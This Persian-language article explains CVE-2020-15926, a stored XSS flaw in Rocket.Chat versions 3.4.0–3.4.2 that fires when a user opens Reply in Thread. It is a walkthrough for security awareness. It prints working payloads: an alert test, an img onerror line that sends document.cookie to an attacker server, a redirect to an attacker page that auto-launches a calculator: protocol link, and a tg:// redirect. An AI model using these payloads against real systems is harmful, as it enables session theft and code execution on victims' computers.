آسیب پذیری حیاتی XSS در Rocket.Chat

آسیب پذیری حیاتی XSS در Rocket.Chat

در این مقاله به بررسی آسیب پذیری از نوع XSS خواهیم پرداخت که در نسخه وب و دسکتاپ نرم افزار چت محبوب Rocket.Chat رخ داده است. دلیل اهمیت این آسیب پذیری، قابل انجام بودن آن توسط همه کاربران و امکان تبدیل این آسیب پذیری به اجرای کد روی کامپیوتر کاربران است!

نرم افزار Rocket.Chat در واقع یک نرم افزار چت متن باز است که در بسیاری از شرکت ها و سازمان ها به عنوان نرم افزار ارتباطی بین کارمندان استفاده می شود. نسخه سرور این نرم افزار با استفاده از NodeJS نوشته شده است و در اصل نسخه دسکتاپ این نرم افزار یک مرورگر(webview) ساده محسوب می شود که در قالب نرم افزار دسکتاپ، نسخه وب نرم افزار را قابل دسترس می کند. در ادامه به بررسی آسیب پذیری XSS یافت شده در این نرم افزار خواهیم پرداخت.

آسیب پذیری XSS
به زبان ساده، XSS یا Cross Site Scripting آسیب پذیری است که به هکر اجازه می دهد تا کد جاوا اسکریپت دلخواه خود را، در میان کدهای اصلی یک وبسایت اضافه کند و با اجرای این کدها در سمت کاربر، امنیت کاربران را به روش های مختلف در معرض خطر قرار دهد. در واقع آسیب پذیری XSS یک نوع آسیب پذیری سمت کاربر است و در اغلب موارد، آسیبی به وبسایت وارد نمی کند بلکه خطر اصلی، کاربران یک وبسایت را تهدید می کند!
آسیب پذیری XSS یافت شده در این نرم افزار، با فرستادن پیام آلوده با استفاده از قابلیت Reply in Thread، در یک کانال یا به صورت پیام مستقیم به یکی از کاربران، قابل استفاده است و در نسخه دسکتاپ نرم افزار، می تواند منجر به اجرای کد در سیستم کاربر شود. این آسیب پذیری نسخه های 3.4.0 تا 3.4.2 این نرم افزار را تحت تاثیر قرار می دهد. برای دیدن نمره آسیب پذیری و جزییات دسته بندی این آسیب پذیری می توانید از شناسه CVE-2020-15926 برای جستجو استفاده کنید.
در ادامه با ما همراه باشید تا نحوه استفاده از این آسیب پذیری برای هک کردن یک کاربر را بررسی کنیم!


همانطور که در تصویر زیر مشاهده می کنید رامین در نرم افزار دسکتاپ خود، یک پیام از ادمین دریافت کرده است. همانطور که در کادر قرمز رنگ مشاهده می کنید در میان گزینه های موجود برای پیام، گزینه Reply in Thread نیز وجود دارد.

حال با زدن این گزینه مانند تصویر زیر یک کادر جدید از سمت راست باز می شود که در واقع هدف این مورد، یکپارچه کردن صحبت کاربران در مورد موارد خاص و ذخیره آن در یک Thread است تا برای بررسی و جستجو در مورد موضوعی خاص، نیاز به بررسی همه پیام ها نباشد. همانطور که در تصویر زیر مشاهده می کنید احوال پرسی دو کاربر، به صورت یک Thread انجام و ذخیره شده است.

همانطور که در ابتدای مقاله اشاره کردیم آسیب پذیری XSS یافت شده، فقط در حالتی کار می کند که کاربر بخواهد از قابلیت Reply in Thread، برای آن پیام استفاده کند و در غیر این صورت آسیب پذیری ایجاد نمی شود. برای آزمایش، ابتدا پیام مخرب زیر را در چت خصوصی به رامین ارسال می کنیم.

<img src=x onerror=alert() >


 پیام مخرب بالا در واقع یک عکس را در صفحه ایجاد می کند که آدرس اشتباهی دارد و منجر به خطا در صفحه می شود. در ادامه این پیام مخرب با استفاده از عبارت onerror در واقع بیان می کنیم که هنگام بروز خطا برای این عکس چه کاری باید انجام شود که عبارت ()alert در واقع یک جعبه پیام برای کاربر باز می کند. توجه داشته باشید که شما با قرار دادن پیام خود در داخل تابع ()alert می توانید یک پیام برای کاربر چاپ کنید اما در این مثال ما متنی برای چاپ قرار نداده ایم.
پس از ارسال پیام مخرب همانگونه که در کادر قرمز رنگ تصویر زیر مشاهده می کنید در نرم افزار دسکتاپ رامین، اتفاق خاصی نمی افتد و هیچ جعبه پیامی باز نمی شود.

برای بررسی بیشتر کد صفحه را بررسی کردیم و متوجه شدیم که عبارتی که فرستاده بودیم به عبارت زیر تبدیل شده است که نشان از وجود یک فیلتر برای پاک سازی پیام های مخرب دارد. توجه داشته باشید که عبارت های &lt و &gt به ترتیب کد HTML معادل کاراکترهای > و < است.

&lt;img src=x onerror=alert()&gt;

حال به سراغ گزینه Reply in Thread می رویم و با زدن این گزینه روی پیام مخرب، مانند تصویر زیر یک کادر پیام باز می شود که نشان دهنده اجرا شدن کد مخرب جاوا اسکریپت است.

در ادامه کاربر ادمین را یک هکر فرض می کنیم که پیام مخرب زیر را به رامین ارسال کرده است!

<img src=x onerror='new Image().src="http://192.168.1.55:88/?cookie=" + document.cookie'>


پیام مخرب بالا بسیار خطرناک تر از پیام مخرب بخش قبلی است زیرا بدون باز کردن جعبه پیام و در سکوت، یک عکس را به صفحه اضافه می کند و با بارگذاری این عکس، کوکی های رامین به سرور هکر ارسال می شود. برای فهم بیشتر اگر به آدرس عکس بارگذاری شده توجه کنید متوجه می شوید که عبارت document.cookie (که در جاوا اسکریپت، حاوی کوکی های کاربر است) به یک آدرس ثابت که آدرس سرور هکر است اضافه می شود و سپس مرورگر تلاش می کند تا این عکس را بارگذاری کند. بارگذاری کردن عکس در واقع با فرستادن درخواست به آدرس عکس انجام می شود و بدین ترتیب کوکی های رامین در فایل لاگ سرور هکر ذخیره می شود. برای نمونه در تصویر زیر قسمتی که با خط قرمز زیر آن نمایش داده شده است کوکی های رامین است که در فایل لاگ سرور هکر ذخیره شده است.

در ادامه ماجرا به بررسی یک حالت خطرناک تر از این آسیب پذیری خواهیم پرداخت!
در حالتی خطرناک تر، هکر می تواند شما را به صفحه ای با محتوای جعلی یا خطرناک هدایت کند که مشخصات یا اطلاعاتی را از شما بگیرد یا کد خاصی را روی مرورگر شما اجرا کند. برای نمونه در ادامه ما نتیجه یک تحقیق نسبتاً جدید که منجر به باز شدن ماشین حساب به صورت مستقیم و بدون دریافت اجازه از کاربر، در مرورگرهای Edge قبل از نسخه 80 می شود را با سناریوی صفحه خطرناک ترکیب کردیم و در کمال تعجب این آسیب پذیری روی نسخه دسکتاپ Rocket.Chat هم جواب داد!
کد زیر را در نظر بگیرید:

<html>
<head>
<title>khatarnak!</title>
</head>
<body>
<font color="red"><h1>akh akh! bebin chi shod! </h1></font>
<a id="clickable" href="calculator:04012020">click me</a>
<script>
document.getElementById('clickable').click();
</script>
</body>
</html>


همانطور که مشاهده می کنید در کد بالا یک قطعه اسکریپت وجود دارد که هنگام بارگذاری صفحه، روی لینکی که در صفحه وجود دارد کلیک می کند و آن را باز می کند. اگر به لینک موجود در کد بالا توجه کنیم متوجه می شویم که آدرس آن برابر است با calculator:04012020 اما این لینک دقیقا چه آدرسی را بیان می کند؟
برای متوجه شدن این موضوع، پیام مخرب زیر را از طرف هکر به رامین می فرستیم.

<img src=x onerror="location='http://192.168.1.55:88/test.html'">


این پیام در واقع رامین را به صفحه ای روی سرور هکر هدایت می کند که کد مخرب بالا در آن وجود دارد. رامین با باز کردن این پیام در نرم افزار دسکتاپ، با صحنه ای مانند تصویر زیر مواجه خواهد شد.

با بررسی بیشتر روی این نرم افزار متوجه شدیم که اگر نرم افزار تلگرام روی سیستم کاربر نصب باشد با استفاده از Pseudo Protocol خود تلگرام که با عبارت //:tg شروع می شود، می توان کاربر را به دیدن یک صفحه در تلگرام وادار کرد. کافیست هکر پیام مخربی مانند مثال زیر را به کاربر ارسال کند تا کاربر با باز کردن آن در حالت Reply in Thread وارد تلگرام و نهایتاً صفحه مورد علاقه هکر شود.

<img src=x onerror="location='tg://resolve?domain=testbot&start=hello'">


مثال بالا نمونه ای از هدایت به یک آدرس است که کاربر را به دیدن یک ربات، کانال یا صفحه چت با یک کاربر دیگر تلگرام وادار می کند. این نرم افزار به احتمال خیلی زیاد از Pseudo Protocol های دیگر هم پشیبانی می کند که برای تمرین می توانید نمونه های دیگری مانند //:viber را هم تست کنید!
اگر شما هم علاقه مند به موضوع امنیت مرورگرها باشید به احتمال زیاد می دانید که تعدادی از افراد همیشه آسیب پذیری های روز صفر (0day) دارند که می توان با استفاده از آن ها به اجرای کد روی کامپیوتر کاربر رسید! ترکیب آسیب پذیری های روز صفر با آسیب پذیری Rocket.Chat به قربانی شدن کامپیوتر شما با دریافت یک پیام منجر می شود!

نتیجه گیری

در این مقاله با هم یک آسیب پذیری XSS روی نرم افزار چت محبوب Rocket.Chat را بررسی کردیم و مرحله به مرحله با خطرات بیشتر این آسیب پذیری آشنا شدیم و متوجه شدیم که یک هکر در صورت داشتن آسیب پذیری 0day خاص شاید بتواند با استفاده از این آسیب پذیری پا را فراتر از مرورگر و نرم افزار چت گذاشته و به کامپیوتر شما دسترسی پیدا کند! بنابراین یادگرفتیم که از این به بعد نسبت به آسیب پذیری های سمت کاربر توجه بیشتری داشته باشیم تا از حملات پیشرفته در امان بمانیم!

منبع:

https://blog.redteam.pl/2020/08/rocket-chat-xss-rce-cve-2020-15926.html

از بهترین نوشته‌های کاربران سکان آکادمی در سکان پلاس


online-support-icon